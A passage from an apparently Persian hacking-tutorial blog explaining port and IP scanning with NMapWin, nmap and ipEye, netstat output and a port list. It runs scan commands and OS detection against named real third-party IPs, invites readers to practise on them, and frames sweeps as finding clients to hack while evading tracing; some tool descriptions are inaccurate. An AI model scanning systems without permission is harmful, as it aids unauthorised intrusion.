اين قسمت در واقع محل تنظيمات است و به کمک آن مشخص می‌کنيم که از برنامه می‌خواهيم که چه‌کاری انجام دهد که مفصلا در موردش صحبت خواهم کرد. در اين قسمت، برگه‌هايی با نام‌های Option , Discover , Scan , ... وجود دارد.

۳- Log Output :
محل ظاهر شدن نتايج است. در حالتی که اسکن شروع نشده باشد، خالی است.

۴- Status bar :
پايين‌ترين بخش پنجره برنامه است و دو بخش مهم دارد:
قسمت سمت چپ نشان می‌دهد که اگر بخواهيم در nmap همين کار رو انجام بديم، چه سويچ‌هايی را بايد بکار بريم ( دقت کنيد که nmap برخلاف NMapWin گرافيکی نيست ). هر تغييری که در قسمت Option Folder اعمال کنيم، در اين قسمت تغييری را مشاهده می‌کنيم و توصيه می‌کنم که حتما به اين قسمت توجه ويژه‌ای داشته باشيد.
اما در سمت راست آن، يک مربع کوچک مشاهده می‌شود که می‌تواند به رنگ‌های سبز يا قرمز باشد. سبز يعنی اينکه برنامه آماده برای اجرای دستورات شماست و قرمز يعنی در حال انجام دستورات وارد شده است و فعلا دستور جديد نمی‌پذيرد.


- شروع کار با NMapWin

فرض کنيد که می‌خواهم سايت far30.com رو می‌خواهم مورد بررسی قرار دهم. برای اينکار ابتدا ip رو بدست‌ آورده (63.148.227.65) و در قسمت Host تايپ می‌کنيم. حالا فعلا بدون اعمال تغييری در قسمت Option Folder ، دکمه Scan رو کليک می‌کنيم. اسکن شروع می‌شود و بعد از چند دقيقه، نتايج زير در قسمت Log Output ظاهر می‌شود:

Starting nmap V. 3.00 ( www.insecure.org/nmap )
Interesting ports on (63.148.227.65):
(The 1583 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
25/tcp open smtp
31/tcp open msg-auth
53/tcp open domain
80/tcp open http
110/tcp open pop-3
135/tcp open loc-srv
143/tcp open imap2
443/tcp open https
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1050/tcp open java-or-OTGfileshare
1433/tcp open ms-sql-s
3372/tcp open msdtc
3389/tcp open ms-term-serv
6666/tcp open irc-serv
7007/tcp open afs3-bos
Remote operating system guess: Windows 2000/XP/ME
Nmap .... -- 1 IP address (1 host up) scanned in 156 seconds

در همين‌جا سه نوع اطلاعات قابل دسترسی است:
۱- ليست پورت‌های باز روی کامپيوتر سرور و کاربرد آن پورت‌ها
۲- تشخيص سيستم عامل که Windows 2000/XP/ME حدس زده شده است (سطر ماقبل آخر)
۳- و سطر آخر می‌گويد که اين ip روشن (up) است.


- بررسی برگه Scan از قسمت Option Folder

اين برگه خود ۲ بخش دارد:

+> بخش Mode :
در درس‌های قبلی گفتم که اسکنينگ انواع مختلفی داره، و اينجا جايی است که نوع اسکنينگ رو مشخص می‌کنيم:
- Connect : اسکن از نوع TCP connect scan است که قبلا در درس هفتم درباره‌اش بحث کرده‌ام.
- SYN Stealth : در درس هفتم درباره اين هم گفته‌ام. - پيش‌فرض هم همين است
- Null Scan , Xmas tree , FIN Stealth : برای سرورهای غير از ويندوز کار می‌کنند.
- UDP Scan : برای اسکن کردن پورت‌های udp است.
- Ping Sweep : برای عمل ip scanning است که بدانيم که از بين يک سری ip کدام‌ها فعال هستند.
- List Scan : همان Ping Sweep است ولی به طوری که ip مان لو نرود.
- ACK Scan : معمولا برای تشخيص فايروال‌ها کاربرد دارد.
- Window Scan : همان ACK Scan است ولی کامل‌تر
- RCP Scan : جزو کامل‌ترين حالت‌های اسکنينگ است با اطلاعات فراوان.

+> بخش Scan Options :
اين قسمت شش گزينه دارد که فقط يکی‌شان به درد می‌خوره:
- Port Range : مشخص می‌کند که چه پورت‌هايی بايد اسکن شود: اگر خالی بماند، يعنی همه پورت‌ها ، اگر يک عدد نوشته شود يعنی فقط آن پورت و اگر به‌صورت n-m نوشته شود (که n و m عدد هستند) يعنی از پورت n تا پورت m  اسکن شود.


- بررسی برگه Discover از قسمت Option Folder

اين برگه دارای چهار گزينه است:

- TCP Ping : برای بررسی فعال بودن کامپيوتر مورد نظر می‌تواند به‌کار رود.
- ICMP Ping : پينگ فقط از نوع ICMP باشد.
- TCP+ICMP : برای بررسی فايروال‌ها مناسب است (پيش‌فرض)
- Don"t Ping : پينگ نکند.


- بررسی برگه Options از قسمت Option Folder

اين برگه خود ۲ بخش دارد:

+> بخش Options :

- Fragmentation : اگر بخواهيم در اسکنينگ‌هايی از نوع Null, Xmas, FIN, SYN تا حدودی تغييرات اعمال کنيم تا حداقل خطر را برای ما داشته باشند، می‌توان اين گزينه را انتخاب کرد. ولی بايد توجه داشت که گاهی با انتخاب اين گزينه اسکنينگ موفقيت آميز نخواهد بود.
- Get Idented Info : اگر بخواهيم اسکنينگ از نوع connect صورت دهيم، با انتخاب اين گزينه گاه اطلاعات ذی‌قيمتی برای ما به ارمغان می‌آورد.
- Resolve All : در حالت پيش‌فرض، اين نرم‌افزار روی ip هايی که up هستند، عمل Reverse Whois را انجام می‌دهد (يعنی از روی ip، به دنبال اسم DNS مربوطه می‌گردد). اگر Resolve All را انتخاب کرده باشيم، روی همه ip ها، چه up و چه down عمل Reverse Whois انجام خواهد شد.
- Don"t Resolve : هرگز Reverse Whois نخواهد کرد.
- OS Detection : از جمله مهم‌ترين گزينه‌های اين نرم‌افزار است که اگر انتخاب‌شده باشد، برنامه سعی می‌کند که سيستم‌عامل کامپيوتر مقابل را حدس بزند.
- Random Host : به صورت تصادفی ip هايی را تست می‌کند، و هرگز هم به پايان نمی‌رسد.

+> بخش Debug :

- Debug : اگر مارک شده باشد، نتايج ديباگ مرحله به مرحله در خروجی نشان داده می‌شود.
- Verbose : اگر انتخاب‌شده باشد، پيشرفت کار را نشان می‌دهد.
- Very Verbose : پيشرفت کار را با نهايت جزئيات نشان می‌دهد.


- بررسی برگه Timing از قسمت Option Folder

اين برگه خود ۲ بخش دارد:

+> بخش Throttle :

در اين بخش هرچه گزينه‌های بالاتر را انتخاب کنيد، کار کندتر و دقيق‌تر است و احتمال detection (لو رفتن) شما کمتر است و هرچه پايين تر برعکس. به نظر می‌رسد، Normal بهترين انتخاب باشد.

+> بخش Timeouts :

- Host Timeout : حداکثر زمانی را مشخص می‌کند که برای يک ip می‌تواند صرف شود.
- Max RTT : حداکثر زمانی را مشخص می‌کند که برای يک probe می‌تواند صرف شود. پيش‌فرض، 9000 است (يعنی ۹ ثانيه)
- Min RTT : برای هر probe حداقل به اين اندازه صبر می‌کند.
- Initial RTT : اين گزينه خصوصا در ip هايی که فايروال دارند، مفيد است.
- Parallelism : اگر در مورد acw_spscan دقت کرده‌ باشيد، اين برنامه هر بار فقط يک پورت را پروب می‌کند و نه بيشتر ( به همين خاطر است که اول اسم آن simple دارد ). ولی محصولات واقعی بايد همزمان تعدادی پورت را تست کنند. در اين قسمت می‌توان حداکثر تعداد پورت‌هايی که می‌تواند همزمان پروب شوند را مشخص می‌کنيم.
- Scan Delay : بين هر اسکن، حداقل به اين ميزان صبر می‌کند.


- بررسی برگه Files از قسمت Option Folder

اين برگه خود ۲ بخش دارد:

+> بخش Input :

برای اينکه روند کارها را سريع‌تر کنيم، می‌توان از اين بخش استفاده کرد. در اين حالت ورودی از يک فايل خوانده می‌شود.

+> بخش Output :

اين قسمت برای آن است که نتايج را در يک فايل ذخيره کنيم. اين فايل می‌تواند به‌صورت Normal (متنی معمولی)، Grep (که الان ديگه به‌کار نميره)، XML و يا All (هر سه مورد) باشد.


- بررسی برگه Service از قسمت Option Folder

فرض کنيد می‌خواهيد اول هر هفته فلان ip رو تست کنيد و کارهايی از اين‌دست... اين برگه برای همين‌جور کارهاست (ميشه گفت يک نوع اتوماسيون)


- بررسی برگه Win32 از قسمت Option Folder

اين برگه دو بخش دارد به نام‌های Options , Commands که فقط Options رو بررسی می‌کنم:

- No Pcap : وقتی که NMapWin را نصب می‌کنيم، Pcap هم نصب می‌شود ( که فقط روی سيستم‌های ويندوز ۲۰۰۰ و xp می‌تواند نصب شود) و کارها را برعهده می‌گيرد. اگر بخواهيم که از آن استفاده نشود و به‌جای آن از Raw Socket استفاده شود، اين گزينه را مارک می‌کنيم.
- No IP HLP Api : مثل بالايی فقط اينکه بين ارسال هر پکت، ۱۵ ثانيه منتظر می‌ماند.
- No Raw Sockets : با انتخاب آن Raw Socket به‌کار نمی‌رود.
- Force Raw Socket : باعث می‌شود که فقط Raw Socket به‌کار رود.
- Win Trace : برای سيستم‌های Win32 کمی اطلاعات بيشتری به‌دست می‌دهد.


- استفاده از NMapWin برای تعيين نوع سيستم عامل

اگر مهم‌ترين کاربرد‌های nmap را بخواهيم بدانيم، يکی port scanning و ديگری OS detection (تشخيص سيستم‌عامل مقابل) است که ويژگی دوم به قدری مهم است که گاه nmap را با همين ويژگی می‌شناسند. برای اينکه نوع سيستم‌عامل را تعيين کنيم، بايد در برگه Options از NMapWin، گزينه OS detection انتخاب شده باشد.
حالا چند مثال را بررسی می‌کنيم (شما خودتان اين‌ ip ها و ip های ديگر را تست و تمرين کنيد) :



194.225.184.15
Remote operating system guess: Windows 2000 server SP2

195.219.176.5
Remote operating system guess: Linux Kernel 2.4.0 - 2.5.20

206.104.238.208
Remote operating system guess: Linux 2.1.19 - 2.2.20

217.66.199.6
(Remote operating system guess: Cisco router running IOS 12.1.5-12.2(6a

63.148.227.65
Remote operating system guess: Windows 2000/XP/ME

194.225.184.2
No exact OS matches for host (If you know what OS is running on it, see http://www.insecure.org/cgi-bin/nmap-submit.cgi).


در اين مورد می‌بينيد که nmap موفق به تعيين نوع سيستم‌عامل نشده است. ممکن است دليلش اين باشد که ip در آن لحظه up نبوده‌ است.

نکته‌ای که بايد در نظر داشت اين است که گاه بايد از يک سری اطلاعات فنی هم استفاده کرد تا به جواب قطعی رسيد :
- مثلا ip ماقبل آخر که نتيجه آن به صورت Windows 2000/XP/ME ظاهر شده است، متعلق به sazin.com است که چون يک سايت است و بايد در يک سرور باشد و هيچ سروری نمی‌تواند ME يا XP باشد، پس سيستم‌عامل آن Win 2000 خواهد بود.
- يا يک حالت ديگر موردی است که ببينيد صفحات يک وب سايت با asp يا asp.net درست شده است (مثلا اسم صفحه به صورت zzzzzz.asp يا zzzzzz.aspx باشد، که نمونه آن سايت far30.com است که اسم همين صفحه default.asp است). در اين حالت سرور آن حتما سروری از محصولات مايکروسافت است مثل Win NT و يا Win 2000 و نمی‌تواند Linux يا Unix يا Sun Solaris و... باشد.


- چگونه از nmap استفاده کنيم؟

قبلا با نرم‌افزار NMapWin آشنا شديد که نسخه گرافيکی nmap برای ويندوز بود. nmap در واقع نرم‌افزار اصلی است که هم برای يونيکس (لينوکس) و هم برای ويندوز نسخه‌هايی را دارد. nmap برخلاف NMapWin، حالت خط فرمانی (command prompt) دارد. در اين قسمت می‌خواهيم با nmap مخصوص ويندوز آشنا شويم. برای داون‌لود اين نرم‌افزار اينجا را کليک کنيد. (اگر قبلا NMapWin را نصب نکرده‌ايد، بايد از يک نسخه ديگر از nmap که اصطلاحا nmap installer نام دارد، استفاده کنيد. اين نسخه nmap را می‌توانيد از اينجا داون‌لود کنيد. )
همان‌‌طور که می‌دانيد، در نرم‌افزارهای خط فرمانی، بايد از پارامترها استفاده کنيم. با توجه به اينکه پارامترهای nmap بسيار زياد و يادگيری آنها مشکل است، ما برای پيدا کردن پارامترهای درست برای يک عمل خاص ( که معمولا ip scanning يا port scanning است) از NMapWin استفاده می‌کنيم. به اين ترتيب که در NMapWin تنظيمات را انجام می‌دهيم و بعد در پايين پنجره آن مشاهده می‌کنيد که در قسمت :CMD ليست پارامترها را به دست می‌آوريم. اين مراحل را با دو مثال شرح می‌دم:

۱- می‌خواهيم برای پورت‌های ۱ تا ۲۰۰ در کامپيوتری که ip آن 63.148.227.65 است، يک پورت اسکننيگ انجام دهيم. برای اين‌کار در NMapWin، برگه Scan را درحالت SYN Stealth تنظيم می‌کنيم و Port Range را می‌نويسيم: 200-1 و بعد برگه Discover بايد در حالت TCP+ICMP باشد و اگر بخواهيم نوع سيستم‌عامل را هم مشخص کنيم، در برگه Options، گزينه OS detection را در حالت انتخاب شده قرار می‌دهيم. ip را هم در بالای پنجره، 63.148.227.65 می‌نويسيم. حالا آماده اسکن هستيم ولی ما می‌خواهيم اين کار را با nmap انجام دهيم، پس فقط بايد قسمت CMD را از پايين پنجره ببينيد، ملاحظه می‌کنيد که نوشته شده:

CMD: -sS -PT -PI  -p 1-200 -O -T 3 63.148.227.65

با حذف کلمه :CMD به عبارت زير می‌رسيم:

-sS -PT -PI  -p 1-200 -O -T 3 63.148.227.65

اينها پارامتر‌هايی است که بايد در nmap استفاده کنيد. به اين صورت که می‌نويسيد:

nmap -sS -PT -PI  -p 1-200 -O -T 3 63.148.227.65

و بعد از اجرای دستور و صبر کردن برای چند دقيقه، نتايج را می‌بينيم.
بعد از مدتی که با nmap کار کنيد، اين پارامترها را می‌آموزيد و ديگه نيازی به NMapWin نخواهيد داشت. مثلا همين O- يعنی OS detection، و 200-p 1 يعنی پورت‌های ۱ تا ۲۰۰ می‌باشد. بعدها خودتان می‌بينيد که کار کردن با nmap بسيار دلچسب‌تر از NMapWin است.

۲- می‌خواهيم يک ip scanning انجام دهيم برای 195.219.176.0 تا 195.219.176.10 . برای اينکار در NMapWin، در برگه Mode، گزينه Ping Sweep را انتخاب می‌کنيم. در برگه Discovery، گزينه ICMP Ping را انتخاب کرده و در برگه Options، گزينه OS detection را در حالت انتخاب نشده قرار می‌دهيم. برای نوشتن ip ملاحظه می‌فرماييد که 195.219.176 در هر دو مشترک است، پس می‌نويسيم: 10-195.219.176.0 .حالا می‌بينيم که پارامترها به صورت زير است:

-sP -PI -T 3 195.219.176.0-10

پس ما می‌نويسيم:

nmap -sP -PI -T 3 195.219.176.0-10
+ نوشته شده در  جمعه سوم مهر 1388ساعت 3:26 قبل از ظهر  به دست ابی | 

چگونه يک ارتباط TCP برقرار می‌شود که بگوييم فلان پورت باز است يا نه؟


- چگونه يک ارتباط TCP برقرار می‌شود که بگوييم فلان پورت باز است يا نه؟

برای اينکه تعيين کنيم که يک پورت روی يک سرور باز است يا نه، معمولا بايد يک TCP connect scan انجام دهيم. اول اين را بگم که Port Scanning انواع مختلف دارد که فعلا ما نوع TCP connect را مدنظر داريم. اين نوع اسکن سه مرحله دارد که به آن TCP"s 3-way handshakeمی‌گويند:
۱- اول کامپيوتر ما به سمت سرور يک SYN packet می‌فرستد که به معنی درخواست اتصال است.
۲- اگر سرور اين درخواست را قبول کند، در مرحله دوم سرور به سمت ما يک SYN/ACK packet می‌فرستد.
۳- در مرحله آخر کامپيوتر ما يک ACK packet به سمت سرور می‌فرستد.

نوع ديگری از پورت اسکن TCP SYN scan نام دارد. با توجه به اينکه معمولا اگر پورت اسکن به روش بالا (TCP connect scan) انجام دهيم، معمولا در سرور اين اتصال ذخيره خواهد شد و بعدا می‌تواند ما را رديابی کنند، به جای آن می‌توان از TCP SYN scan استفاده کرد. در اين نوع اسکن، مراحل ۱ و ۲ از بالا انجام می‌شود ولی مرحله ۳ نه! اگر در مرحله ۲ به ما يک SYN/ACK برسد، آن پورت باز است و اگر يک RST/ACK برسد، يعنی بسته است.

انواع ديگری از پورت اسکنينگ هم وجود دارد مثل UDP scan, TCP Window scan, TCP ACK scan, TCP Null, TCP Xmas Tree, TCP FIN Scan


- چگونه می‌توان عمل Port scanning را انجام داد؟

در تمام مطالبی که تا اين مرحله گفته‌ام سعی کرده‌ام که فقط از ابزارهای موجود در ويندوز استفاده کنم و هيچ ابزار ديگری به‌کار نبرم، اما در مبحث پورت اسکنينگ چون هيچ ابزاری در ويندوز برای اين‌ کار نيست، به‌ناچار بايد يک سری برنامه را از اينترنت داون‌لود کنيد. (توجه داشته باشيد که فعلا حرفی از لينوکس نزده‌ام و سعی می‌کنم فعلا هيچ بحثی را در مورد آن مطرح نکنم)

برای Port Scanning می‌توان از ابزارهای مختلفی استفاده کرد که اکثرا برای لينوکس طراحی شده‌اند، اما مهم‌ترين پورت اسکنرها برای ويندوز عبارتند از:

۱- نرم‌افزار NMapWin v1.3.0 :
نسخه گرافيکی و مخصوص ويندوز برای nmap است (nmap در لينوکس استفاده می‌شود). nmap از کامل‌ترين ابزارهايی است که هکر‌ها استفاده می‌کنند که علاوه بر توانايی انواع پورت اسکنينگ‌ها، می‌تواند کارهای بسياری چون تشخيص سيستم‌عامل سرور و ... را انجام دهد. اين ابزار را بعدا توضيح خواهم داد ولی فعلا برای کار ما بيش‌ از حد کامله ;-)

۲- NetScanTools Pro 2000 :
اين هم از بهترين‌هاست ولی چون پولی است به‌ جای داون‌لود بايد در CD هايی که در بازار هست پيدايش کنيد.

۳- WinScan :
برای اسکن کردن TCP (ونه UDP) می‌توانيد از آن استفاده کنيد. من زياد ازش خوشم نيومد.

۴- ipEye v1.2 :
من در این درس از اين نرم‌افزار استفاده خواهم کرد، برای داون‌لود آن می‌توانيد به سايت
http://www.ntsecurity.nu/ مراجعه کنيد يا مستقيما با کليک روی اين لينک آن را داون‌لود کنيد. لازم است بگويم که اين نرم‌افزار فقط در ويندوز ۲۰۰۰ و xp کار می‌کند و نيز در يک بار اجرا فقط يک ip را می‌تواند تست کند. ضمنا فقط TCP را تست می‌کند.


- چگونه از ipEye برای پورت اسکنينگ استفاده کنيم؟

با تايپ ipEye در command prompt اين نتايج ظاهر می‌شود:

ipEye 1.2 - (c) 2000-2001, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
- http://ntsecurity.nu/toolbox/ipeye/

Error: Too few parameters.

Usage:

ipEye -p [optional parameters]
ipEye -p
[optional parameters]

is one of the following:
-syn = SYN scan
-fin = FIN scan
-null = Null scan
-xmas = Xmas scan>br>
(note: FIN, Null and Xmas scans don"t work against Windows systems.

[optional parameters] are selected from the following:
-sip = source IP for the scan
-sp = source port for the scan
-d = delay between scanned ports in milliseconds
(default set to 750 ms)


فرض کنيد که می‌خواهيم سايت سازين را از نظر پورت‌ها از پورت ۱ تا ۲۰۰ تست کنيم. اول بايد ip آن را به دست بياوريم که می‌شود، 63.148.227.65 و حالا به کمک دستور زير آن را بررسی می‌کنيم:

ipeye 63.148.227.65 -syn -p 1 200

دقت کنيد که 63.148.227.65 عدد ip سازين، syn- يعنی SYN SCAN و p 1 200- يعنی تست از پورت ۱ تا ۲۰۰ باشد. البته پارامترهای ديگری را هم می‌شود ست کرد که فعلا به درد ما نمی‌خورد. با اجرای اين دستور به نتايج زير می‌رسيم:

ipEye 1.2 - (c) 2000-2001, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
- http://ntsecurity.nu/toolbox/ipeye/

1-20 [drop]
21 [open]
22 [closed or reject]
23-24 [drop]
25 [open]
26-52 [drop]
53 [open]
54-79 [drop]
80 [open]
81-109 [drop]
110 [open]
111-142 [drop]
143 [open]
144-200 [drop]
201-65535 [not scanned]

Closed يعنی کامپيوتر در آن طرف هست ولی به پورت گوش نمی‌دهد، Reject يعنی اينکه يک firewall هست که اجازه اتصال به آن پورت را نمی‌دهد، Drop يعنی اينکه يک firewall همه‌چيز را پس‌ می‌زند و يا اصلا کامپيوتری اونور نيست، Open هم که يعنی باز.
در مورد سازين می‌بينيد که از بين پورت‌های ۱ تا ۲۰۰ ، پورت‌های ۲۱، ۲۵، ۵۳، ۸۰، ۱۱۰، ۱۴۳ باز است و می‌توان به‌ آنها telnet کرد. دقت کنيد که تا تمام پورت‌هايی که مشخص شده، تست نشده است، هيچ نتيجه‌ای نشان داده نمی‌شود و يه‌کم صبر می‌خواد.


- تعيين پورت‌های باز کامپيوتر خودتان

می‌خواهيم درباره کامپيوتر خودمان اين اطلاعات را پيدا کنيم. برای اين کار يکی از دستورات زير را به کار می‌بريم:

netstat -an
netstat -a

فرق اين دو دستور در اين است که اولی پورت‌ها را به صورت عددی و دومی به صورت معادل اسمی آن پورت می‌نويسد. مثلا معادل اسمی پورت 7 ، echo است.

مثلا اگه netstat -an را تايپ کنم، به اطلاعات زير می‌رسم:

Active Connections

Proto Local Address Foreign Address State
TCP 0.0.0.0:7 0.0.0.0:0 LISTENING
TCP 0.0.0.0:9 0.0.0.0:0 LISTENING
TCP 0.0.0.0:13 0.0.0.0:0 LISTENING
TCP 0.0.0.0:17 0.0.0.0:0 LISTENING
TCP 0.0.0.0:19 0.0.0.0:0 LISTENING
TCP 0.0.0.0:21 0.0.0.0:0 LISTENING
TCP 0.0.0.0:25 0.0.0.0:0 LISTENING
TCP 0.0.0.0:53 0.0.0.0:0 LISTENING
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:119 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:143 0.0.0.0:0 LISTENING
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:515 0.0.0.0:0 LISTENING
TCP 0.0.0.0:563 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1033 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1037 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1040 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1041 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1043 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1755 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1801 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3372 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 0.0.0.0:6034 0.0.0.0:0 LISTENING
TCP 0.0.0.0:6666 0.0.0.0:0 LISTENING
TCP 0.0.0.0:7007 0.0.0.0:0 LISTENING
TCP 0.0.0.0:7778 0.0.0.0:0 LISTENING
TCP 0.0.0.0:8181 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1039 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1433 0.0.0.0:0 LISTENING
TCP 127.0.0.1:2103 0.0.0.0:0 LISTENING
TCP 127.0.0.1:2105 0.0.0.0:0 LISTENING
TCP 127.0.0.1:2107 0.0.0.0:0 LISTENING
UDP 0.0.0.0:7 *:*
UDP 0.0.0.0:9 *:*
UDP 0.0.0.0:13 *:*
UDP 0.0.0.0:17 *:*
UDP 0.0.0.0:19 *:*
UDP 0.0.0.0:68 *:*
UDP 0.0.0.0:135 *:*
UDP 0.0.0.0:161 *:*
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:1030 *:*
UDP 0.0.0.0:1036 *:*
UDP 0.0.0.0:1038 *:*
UDP 0.0.0.0:1042 *:*
UDP 0.0.0.0:1075 *:*
UDP 0.0.0.0:1434 *:*
UDP 0.0.0.0:1645 *:*
UDP 0.0.0.0:1646 *:*
UDP 0.0.0.0:1755 *:*
UDP 0.0.0.0:1812 *:*
UDP 0.0.0.0:1813 *:*
UDP 0.0.0.0:3456 *:*
UDP 0.0.0.0:3527 *:*
UDP 127.0.0.1:53 *:*
UDP 127.0.0.1:1028 *:*
UDP 127.0.0.1:1029 *:*
UDP 127.0.0.1:1035 *:*
UDP 127.0.0.1:1044 *:*
UDP 127.0.0.1:1045 *:*
UDP 127.0.0.1:1100 *:*

من دستور را موقعی اجرا کردم که به اينترنت متصل نبودم. اگر همين کار را در زمان اتصال به اينترنت انجام می‌دادم، يک سری سطرهای جديد هم اضافه می‌شد که مربوط به آن اتصال می‌شد. و نيز دقت کنيد که من سويچ an- را استفاده کردم و پورت‌ها به صورت عددی نمايش داده شده است که همين الان - الساعه - براتون توضيح می‌دم:

اولين نکته‌ای که به نظر می‌رسد، نامی است که برای هر ستون نوشته شده است:

  Proto      Local Address       Foreign Address       State

- Proto : يعنی پروتکل، که می‌تواند TCP يا UDP باشد.
- Local Address : نشان‌دهنده ip کامپيوتر خودمان و شماره پورت‌هاست. مثلا سطر اول می‌گويد که ip من 0.0.0.0 است (دقت کنيد که من به اينترنت متصل نيستم) و اولين پورت باز (از نوع TCP با توجه به اول سطر) عدد ۷ است زيرا اين به صورت 0.0.0.0:7 نوشته شده است که قسمت قبل از کاراکتر : ، ip است و بعد از کاراکتر :، پورت است.
- Foreign Address : چون در اين مثال از سويچ a- يا an- استفاده کرده‌ايم، کاربردی ندارد. ولی بعدا خواهيد ديد که اگر از يک سويچ ديگر استفاده کنيم، می‌تواند مهم باشد.
- State : وضعيت اتصال را نشان می‌دهد


حالا اگه پورت‌ها را يکی يکی بررسی کنيد، می‌بينيد که در پروتکل TCP ، پورت‌های ۷، ۹، ۱۳، ۱۷، ۱۹، ۲۱ و... باز است و در پروتکل UDP ، پورت‌های ۷، ۹، ۱۳، ۱۷، ۱۹، ۶۸ و ... باز است.

حالا ممکن است بپرسيد که اين اطلاعات به چه دردی می‌خورد؟
جواب اين است که دانستن اين اطلاعات برای محافظت از خودتان در برابر همکارانتان (هکرها) است. مثلا اگر يک تروجان روی کامپيوتر شما نصب شده باشد، با اين دستور می‌توان آن را کشف کرد.

+ نوشته شده در  جمعه سوم مهر 1388ساعت 3:25 قبل از ظهر  به دست ابی | 

انواع Scanning


 انواع Scanning
 
 دو نوع معمول Scanning وجود دارد:
 
 ۱- Port Scanning :
 در اين حالت ما IP يا IPهای مورد نظر را انتخاب کرده‌ايم و حالا می‌خواهيم بدانيم که کدام پورت‌ها روی آن کامپيوترها باز است.
 
 ۲- IP Scanning :
 در اين اسکنينگ می‌خواهيم بدانيم که از بين يک مجموعه ip ، کدام‌ها up و کدام‌ها down هستند. يعنی کدام ip ها الان قابل دسترسی هستند (يعنی به يه کامپيوتر در اينترنت نسبت داده شده است! ) فرض کنيد که شما يک سری IP مربوط به يک ISP خاص را داريد و می‌خواهيد بدانيد که در اين لحظه کدام‌ها فعال (up) هستند تا فقط آنها را بررسی کنيد و نه‌ همه را. ( اين کار معمولا موقعی پيش می‌آيد که قرار است کلاينت هک کنيد و مهم نيست چه کسی باشد )

+ نوشته شده در  جمعه سوم مهر 1388ساعت 3:24 قبل از ظهر  به دست ابی | 

TCP و UDP چيست؟


- TCP و UDP چيست؟

مدل TCP/IP که برای ارتباط اينترنتی به‌کار می‌رود، می‌توان به لايه‌های مختلفی تقسيم‌بندی کرد که بعدا بيشتر توضيح می‌دم، اما يکی از اين لايه‌ها، لايه ارتباط host2host است که خود شامل دو پروتکل است به نامهای TCP و UDP :

۱- (TCP (Transmission Control Protocol :
اين پروتکل قوی‌تر و قابل اعتمادتر است و اصولا پروتکل مهمتری نسبت به UDP محسوب می‌شود. اين پروتکل توانايی بازبينی بسته‌هاو کنترل خطا را هم دارد.

۲- (UDP (User Datagram Protocol :
اين پروتکل برای کاهش overflow طراحی شده است و در خيلی از موارد وابسته به TCP است.

نکته مهم اين است که وقتی با يک پورت خاص روی يک کامپيوتر ديگر ارتباط برقرار می‌کنيم، اين ارتباط می‌تواند از نوع TCP يا UDP باشد. بنابراين وقتی می‌خواهيم يک کامپيوتر خاصی را از نظر پورت‌ها بررسی کنيم، هردو بايد بررسی شود.


- تقسيم‌بندی پورت‌ها از روی شماره آنها

۱- پورت‌های 0 تا 1023 :
مشهورترين پورت‌ها هستند و معمولا هرکدام برای يک سرويس خاص استفاده می‌شود. با تعدادی از اين پورت‌ها در جلسات قبل آشنا شده‌ايد.

۲- پورت‌های 1024 تا 49151 :
اين سری از پورت‌ها مشخصا با هيچ‌يک از سرويس‌های اينترنتی مرتبط نيستند بلکه وقتی که با يک ابزار شبکه مانند مرورگر اينترنت(مثل Internet Explore يا Netscape Navigator )، نرم‌افزار ارسال و دريافت E-mail (مثل Outlook يا Edura )، نرم‌افزارهای FTP (مثل WS-FTP يا Cute-FTP ) کار می‌کنيد، يکی از اين پورت‌ها به صورت random باز شده و يک ارتباط با سرور (با توجه به‌نوع سرويس اينترنتی که می‌دهد که يکی از پورت‌های 0 تا 1023 است) برقرار شده و داده‌ها ارسال و دريافت می‌شوند. يعنی پورت شما يکی از پورت‌های اين قسمت است و پورت سرور يکی از پورت‌های بالايی.اين سری پورت‌ها را پورت‌های register شده هم می‌گويند.

۳- پورت‌های 49152 تا 65535 :
اين سری از پورت‌ها به‌ندرت استفاده می‌شوند. کاربرد اساسی آنها برای يک سری سرويس‌های خاص اينترنتی است و يا توسط trojanها (که برای Hack کردن کامپيوتر است) است. البته خيلی از trojanهای معروف از پورت‌های رديف ۲ هم استفاده می‌کنند و اين تقسيم‌بندی‌ها هميشه برقرار نيست و به‌همين علت است که گاهی پورت‌ها را به دو‌دسته زير 1024 و بالای 1024 تقسيم‌ می‌کنند.


- تکميل ليست پورت‌ها

در جلسه دوم در مورد مهمترين پورت‌ها صحبت کردم. حالا يک ليست کامل‌تر را در اين درس می‌گم. اگر می‌خواهيد يک مرجع نسبتا کامل برای مراجعه داشته باشيد،
اينجا را کليک کنيد. دقت کنيد درس امروز و نيز لينک بالا هيچ بحثی در مورد تروجان‌ها نمی‌کند زيرا تروجان‌های شناخته شده هم يک سری پورت پيش‌فرض دارند که در جای خود بحث خواهد شد.

Ports   TCP/UDP     Service or Application
------ ------- ----------------------------------------
7 tcp echo
11 tcp systat
19 tcp chargen
21 tcp ftp-data
22 tcp ssh
23 tcp telnet
25 tcp smtp
42 tcp nameserver
43 tcp whois
49 udp tacacs
53 udp dns-lookup
53 tcp dns-zone
66 tcp oracle-sqlnet
69 udp tftp
79 tcp finger
80 tcp http
81 tcp alternative for http
88 tcp kerberos or alternative for http
109 tcp pop2
110 tcp pop3
111 tcp sunrpc
118 tcp sqlserv
119 tcp nntp
135 tcp ntrpc-or-dec
139 tcp netbios
143 tcp imap
161 udp snmp
162 udp snmp-trap
179 tcp bgp
256 tcp snmp-checkpoint
389 tcp ldap
